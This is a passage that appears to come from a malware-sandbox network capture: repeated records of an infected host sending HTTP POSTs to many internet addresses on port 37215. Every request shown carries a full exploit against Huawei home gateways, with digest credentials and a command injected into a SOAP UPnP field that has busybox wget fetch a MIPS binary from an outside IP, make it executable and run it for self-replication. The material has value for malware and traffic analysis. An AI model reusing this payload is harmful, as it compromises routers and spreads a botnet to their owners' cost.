2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	37174	52.155.86.86	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411165953 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	53680	157.220.26.182	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411449909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	57302	41.233.169.62	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411449909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	57200	157.20.249.180	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411643982 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	50160	41.243.57.159	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411644936 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	57334	157.136.249.217	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411644936 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	40624	157.92.46.65	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411644936 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	40822	41.121.47.232	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411644936 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	47630	197.228.255.157	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411644936 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	36536	197.66.212.124	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411662102 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	34332	157.183.27.248	37215

Timestamp	Bytes transferred	Direction	Data
